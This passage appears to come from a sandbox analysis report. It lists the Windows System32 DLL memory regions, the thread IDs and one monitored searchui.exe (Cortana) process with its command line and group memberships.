0x7ffe54a31ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 7809 start_va = 0x7ffe54b00000 end_va = 0x7ffe54b0dfff monitored = 0 entry_point = 0x7ffe54b022f0 region_type = mapped_file name = "sebbackgroundmanagerpolicy.dll" filename = "\\Windows\\System32\\SebBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\sebbackgroundmanagerpolicy.dll") Region: id = 7810 start_va = 0x7ffe54b10000 end_va = 0x7ffe54b27fff monitored = 0 entry_point = 0x7ffe54b13f00 region_type = mapped_file name = "windows.networking.backgroundtransfer.backgroundmanagerpolicy.dll" filename = "\\Windows\\System32\\Windows.Networking.BackgroundTransfer.BackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\windows.networking.backgroundtransfer.backgroundmanagerpolicy.dll") Region: id = 7811 start_va = 0x7ffe54b30000 end_va = 0x7ffe54b3bfff monitored = 0 entry_point = 0x7ffe54b34b50 region_type = mapped_file name = "cbtbackgroundmanagerpolicy.dll" filename = "\\Windows\\System32\\CbtBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\cbtbackgroundmanagerpolicy.dll") Region: id = 7812 start_va = 0x7ffe54b40000 end_va = 0x7ffe54b65fff monitored = 0 entry_point = 0x7ffe54b47a80 region_type = mapped_file name = "acpbackgroundmanagerpolicy.dll" filename = "\\Windows\\System32\\ACPBackgroundManagerPolicy.dll" (normalized: "c:\\windows\\system32\\acpbackgroundmanagerpolicy.dll") Region: id = 7813 start_va = 0x7ffe54b70000 end_va = 0x7ffe54b7ffff monitored = 0 entry_point = 0x7ffe54b723f0 region_type = mapped_file name = "backgroundmediapolicy.dll" filename = "\\Windows\\System32\\BackgroundMediaPolicy.dll" (normalized: "c:\\windows\\system32\\backgroundmediapolicy.dll") Region: id = 7814 start_va = 0x7ffe54fb0000 end_va = 0x7ffe54ff3fff monitored = 0 entry_point = 0x7ffe54fbc010 region_type = mapped_file name = "execmodelclient.dll" filename = "\\Windows\\System32\\ExecModelClient.dll" (normalized: "c:\\windows\\system32\\execmodelclient.dll") Region: id = 7815 start_va = 0x7ffe56e20000 end_va = 0x7ffe56e2bfff monitored = 0 entry_point = 0x7ffe56e22830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 7816 start_va = 0x7ffe57100000 end_va = 0x7ffe5710ffff monitored = 0 entry_point = 0x7ffe57102c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 7817 start_va = 0x7ffe57560000 end_va = 0x7ffe575f1fff monitored = 0 entry_point = 0x7ffe575aa780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 7818 start_va = 0x7ffe5a7d0000 end_va = 0x7ffe5a7f0fff monitored = 0 entry_point = 0x7ffe5a7d92a0 region_type = mapped_file name = "dab.dll" filename = "\\Windows\\System32\\dab.dll" (normalized: "c:\\windows\\system32\\dab.dll") Region: id = 7819 start_va = 0x7ffe5a800000 end_va = 0x7ffe5a83ffff monitored = 0 entry_point = 0x7ffe5a811960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 7820 start_va = 0x7ffe5a840000 end_va = 0x7ffe5a8a2fff monitored = 0 entry_point = 0x7ffe5a85c010 region_type = mapped_file name = "systemeventsbrokerserver.dll" filename = "\\Windows\\System32\\SystemEventsBrokerServer.dll" (normalized: "c:\\windows\\system32\\systemeventsbrokerserver.dll") Region: id = 7821 start_va = 0x7ffe5a8b0000 end_va = 0x7ffe5a96dfff monitored = 0 entry_point = 0x7ffe5a8f2d40 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 7822 start_va = 0x7ffe5af90000 end_va = 0x7ffe5b422fff monitored = 0 entry_point = 0x7ffe5af9f760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 7823 start_va = 0x7ffe5b6e0000 end_va = 0x7ffe5b6f2fff monitored = 0 entry_point = 0x7ffe5b6e2760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7824 start_va = 0x7ffe5b790000 end_va = 0x7ffe5b7aafff monitored = 0 entry_point = 0x7ffe5b79af40 region_type = mapped_file name = "capauthz.dll" filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll") Region: id = 7825 start_va = 0x7ffe5b7b0000 end_va = 0x7ffe5b7c0fff monitored = 0 entry_point = 0x7ffe5b7b5e90 region_type = mapped_file name = "licensemanagerapi.dll" filename = "\\Windows\\System32\\LicenseManagerApi.dll" (normalized: "c:\\windows\\system32\\licensemanagerapi.dll") Region: id = 7826 start_va = 0x7ffe5b930000 end_va = 0x7ffe5b956fff monitored = 0 entry_point = 0x7ffe5b937940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 7827 start_va = 0x7ffe5ba10000 end_va = 0x7ffe5bb0ffff monitored = 0 entry_point = 0x7ffe5ba50f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 7828 start_va = 0x7ffe5bb10000 end_va = 0x7ffe5bb9cfff monitored = 0 entry_point = 0x7ffe5bb3ac70 region_type = mapped_file name = "psmserviceexthost.dll" filename = "\\Windows\\System32\\PsmServiceExtHost.dll" (normalized: "c:\\windows\\system32\\psmserviceexthost.dll") Region: id = 7829 start_va = 0x7ffe5bba0000 end_va = 0x7ffe5bbabfff monitored = 0 entry_point = 0x7ffe5bba2480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 7830 start_va = 0x7ffe5bbb0000 end_va = 0x7ffe5bc6bfff monitored = 0 entry_point = 0x7ffe5bbec480 region_type = mapped_file name = "lsm.dll" filename = "\\Windows\\System32\\lsm.dll" (normalized: "c:\\windows\\system32\\lsm.dll") Region: id = 7831 start_va = 0x7ffe5bc70000 end_va = 0x7ffe5bc99fff monitored = 0 entry_point = 0x7ffe5bc78b90 region_type = mapped_file name = "rmclient.dll" filename = "\\Windows\\System32\\rmclient.dll" (normalized: "c:\\windows\\system32\\rmclient.dll") Region: id = 7832 start_va = 0x7ffe5bca0000 end_va = 0x7ffe5bccffff monitored = 0 entry_point = 0x7ffe5bcaf7c0 region_type = mapped_file name = "psmsrv.dll" filename = "\\Windows\\System32\\psmsrv.dll" (normalized: "c:\\windows\\system32\\psmsrv.dll") Region: id = 7833 start_va = 0x7ffe5bcd0000 end_va = 0x7ffe5bd64fff monitored = 0 entry_point = 0x7ffe5bd036c0 region_type = mapped_file name = "bisrv.dll" filename = "\\Windows\\System32\\bisrv.dll" (normalized: "c:\\windows\\system32\\bisrv.dll") Region: id = 7834 start_va = 0x7ffe5bdf0000 end_va = 0x7ffe5bed2fff monitored = 0 entry_point = 0x7ffe5be4e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7835 start_va = 0x7ffe5bee0000 end_va = 0x7ffe5beebfff monitored = 0 entry_point = 0x7ffe5bee2790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 7836 start_va = 0x7ffe5bef0000 end_va = 0x7ffe5bf13fff monitored = 0 entry_point = 0x7ffe5bef3260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 7837 start_va = 0x7ffe5bf20000 end_va = 0x7ffe5c017fff monitored = 0 entry_point = 0x7ffe5bf2d580 region_type = mapped_file name = "tdh.dll" filename = "\\Windows\\System32\\tdh.dll" (normalized: "c:\\windows\\system32\\tdh.dll") Region: id = 7838 start_va = 0x7ffe5c020000 end_va = 0x7ffe5c035fff monitored = 0 entry_point = 0x7ffe5c023630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 7839 start_va = 0x7ffe5c040000 end_va = 0x7ffe5c061fff monitored = 0 entry_point = 0x7ffe5c0475f0 region_type = mapped_file name = "umpo.dll" filename = "\\Windows\\System32\\umpo.dll" (normalized: "c:\\windows\\system32\\umpo.dll") Region: id = 7840 start_va = 0x7ffe5c070000 end_va = 0x7ffe5c08ffff monitored = 0 entry_point = 0x7ffe5c071920 region_type = mapped_file name = "umpnpmgr.dll" filename = "\\Windows\\System32\\umpnpmgr.dll" (normalized: "c:\\windows\\system32\\umpnpmgr.dll") Region: id = 7841 start_va = 0x7ffe5c090000 end_va = 0x7ffe5c183fff monitored = 0 entry_point = 0x7ffe5c09a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 7842 start_va = 0x7ffe5c260000 end_va = 0x7ffe5c2b5fff monitored = 0 entry_point = 0x7ffe5c270bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 7843 start_va = 0x7ffe5c440000 end_va = 0x7ffe5c470fff monitored = 0 entry_point = 0x7ffe5c447d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 7844 start_va = 0x7ffe5c6b0000 end_va = 0x7ffe5c6cefff monitored = 0 entry_point = 0x7ffe5c6b5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 7845 start_va = 0x7ffe5c9f0000 end_va = 0x7ffe5c9fafff monitored = 0 entry_point = 0x7ffe5c9f19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7846 start_va = 0x7ffe5cbd0000 end_va = 0x7ffe5cbfcfff monitored = 0 entry_point = 0x7ffe5cbe9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 7847 start_va = 0x7ffe5cd60000 end_va = 0x7ffe5cd78fff monitored = 0 entry_point = 0x7ffe5cd65e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 7848 start_va = 0x7ffe5cd80000 end_va = 0x7ffe5cda8fff monitored = 0 entry_point = 0x7ffe5cd94530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7849 start_va = 0x7ffe5cf00000 end_va = 0x7ffe5cf0efff monitored = 0 entry_point = 0x7ffe5cf03210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7850 start_va = 0x7ffe5cf10000 end_va = 0x7ffe5cf23fff monitored = 0 entry_point = 0x7ffe5cf152e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 7851 start_va = 0x7ffe5cf30000 end_va = 0x7ffe5cf7afff monitored = 0 entry_point = 0x7ffe5cf335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7852 start_va = 0x7ffe5d0e0000 end_va = 0x7ffe5d723fff monitored = 0 entry_point = 0x7ffe5d2a64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 7853 start_va = 0x7ffe5d730000 end_va = 0x7ffe5d917fff monitored = 0 entry_point = 0x7ffe5d75ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7854 start_va = 0x7ffe5db50000 end_va = 0x7ffe5dbb9fff monitored = 0 entry_point = 0x7ffe5db86d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7855 start_va = 0x7ffe5dbc0000 end_va = 0x7ffe5dc74fff monitored = 0 entry_point = 0x7ffe5dc022e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7856 start_va = 0x7ffe5dc80000 end_va = 0x7ffe5dcc2fff monitored = 0 entry_point = 0x7ffe5dc94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 7857 start_va = 0x7ffe5dcf0000 end_va = 0x7ffe5ddb0fff monitored = 0 entry_point = 0x7ffe5dd10da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7858 start_va = 0x7ffe5ddc0000 end_va = 0x7ffe5de5cfff monitored = 0 entry_point = 0x7ffe5ddc78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7859 start_va = 0x7ffe5de60000 end_va = 0x7ffe5df7bfff monitored = 0 entry_point = 0x7ffe5dea02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7860 start_va = 0x7ffe5f650000 end_va = 0x7ffe5f6f6fff monitored = 0 entry_point = 0x7ffe5f6658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7861 start_va = 0x7ffe5f700000 end_va = 0x7ffe5f751fff monitored = 0 entry_point = 0x7ffe5f70f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7862 start_va = 0x7ffe5f760000 end_va = 0x7ffe5f806fff monitored = 0 entry_point = 0x7ffe5f76b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7863 start_va = 0x7ffe5f810000 end_va = 0x7ffe5fa8cfff monitored = 0 entry_point = 0x7ffe5f8e4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 7864 start_va = 0x7ffe60240000 end_va = 0x7ffe602ecfff monitored = 0 entry_point = 0x7ffe602581a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7865 start_va = 0x7ffe602f0000 end_va = 0x7ffe60445fff monitored = 0 entry_point = 0x7ffe602fa8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7866 start_va = 0x7ffe604b0000 end_va = 0x7ffe60635fff monitored = 0 entry_point = 0x7ffe604fffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7867 start_va = 0x7ffe606b0000 end_va = 0x7ffe607f2fff monitored = 0 entry_point = 0x7ffe606d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7868 start_va = 0x7ffe60800000 end_va = 0x7ffe6086efff monitored = 0 entry_point = 0x7ffe60825f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 7869 start_va = 0x7ffe60870000 end_va = 0x7ffe608cafff monitored = 0 entry_point = 0x7ffe608838b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7870 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8030 start_va = 0x7ffe5ade0000 end_va = 0x7ffe5adf2fff monitored = 0 entry_point = 0x7ffe5ade2570 region_type = mapped_file name = "srumapi.dll" filename = "\\Windows\\System32\\srumapi.dll" (normalized: "c:\\windows\\system32\\srumapi.dll") Region: id = 8032 start_va = 0x25eb46c0000 end_va = 0x25eb46c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8041 start_va = 0x25eb46d0000 end_va = 0x25eb46d0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Region: id = 8042 start_va = 0x7ffe5ad60000 end_va = 0x7ffe5add8fff monitored = 0 entry_point = 0x7ffe5ad7fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 8043 start_va = 0x7ff7667d0000 end_va = 0x7ff76684dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Thread: id = 570 os_tid = 0x5d4 Thread: id = 571 os_tid = 0x5d0 Thread: id = 572 os_tid = 0x5c0 Thread: id = 573 os_tid = 0x28c Thread: id = 574 os_tid = 0x3e8 Thread: id = 575 os_tid = 0x35c Thread: id = 576 os_tid = 0x354 Thread: id = 577 os_tid = 0x338 Thread: id = 578 os_tid = 0x334 Thread: id = 579 os_tid = 0x2d8 Thread: id = 580 os_tid = 0x2d4 Thread: id = 581 os_tid = 0x2c0 Thread: id = 582 os_tid = 0x2b0 Thread: id = 583 os_tid = 0x298 Thread: id = 584 os_tid = 0x294 Thread: id = 585 os_tid = 0x290 Thread: id = 586 os_tid = 0x284 Thread: id = 587 os_tid = 0x278 Thread: id = 588 os_tid = 0x274 Process: id = "93" image_name = "searchui.exe" filename = "c:\\windows\\systemapps\\microsoft.windows.cortana_cw5n1h2txyewy\\searchui.exe" page_root = "0x11824000" os_pid = "0x5fc" os_integrity_level = "0x1000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "92" os_parent_pid = "0x270" cmd_line = "\"C:\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\SearchUI.exe\" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca" cur_dir = "C:\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f469" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8044 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8045 start_va = 0x35114d0000 end_va = 0x35115cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000035114d0000" filename = "" Region: id = 8046 start_va = 0x3511600000 end_va = 0x35117fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003511600000" filename = "" Region: id = 8047 start_va = 0x227456e0000 end_va = 0x227456fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000227456e0000" filename = "" Region: id = 8048 start_va = 0x22745700000 end_va = 0x22745714fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022745700000" filename = "" Region: id = 8049 start_va = 0x22745720000 end_va = 0x22745723fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000022745720000" filename = "" Region: id = 8050 start_va = 0x22745730000 end_va = 0x22745731fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000022745730000" filename = "" Region: id = 8051 start_va = 0x7df5ffc80000 end_va = 0x7ff5ffc7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffc80000" filename = "" Region: id = 8052 start_va = 0x7ff7b3870000 end_va = 0x7ff7b3892fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7b3870000" filename = "" Region: id = 8053 start_va = 0x7ff7b3b10000 end_va = 0x7ff7b4403fff monitored = 0 entry_point = 0x7ff7b3c48d30 region_type = mapped_file name = "searchui.exe" filename = "\\Windows\\SystemApps\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\SearchUI.exe" (normalized: "c:\\windows\\systemapps\\microsoft.windows.cortana_cw5n1h2txyewy\\searchui.exe") Region: id = 8054 start_va = 0x7ffe608d0000 end_va = 0x7ffe60a90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8055 start_va = 0x22745740000 end_va = 0x22745740fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" filename = "\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.cortana_1.6.1.52_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep") Thread: id = 598 os_tid = 0x3e4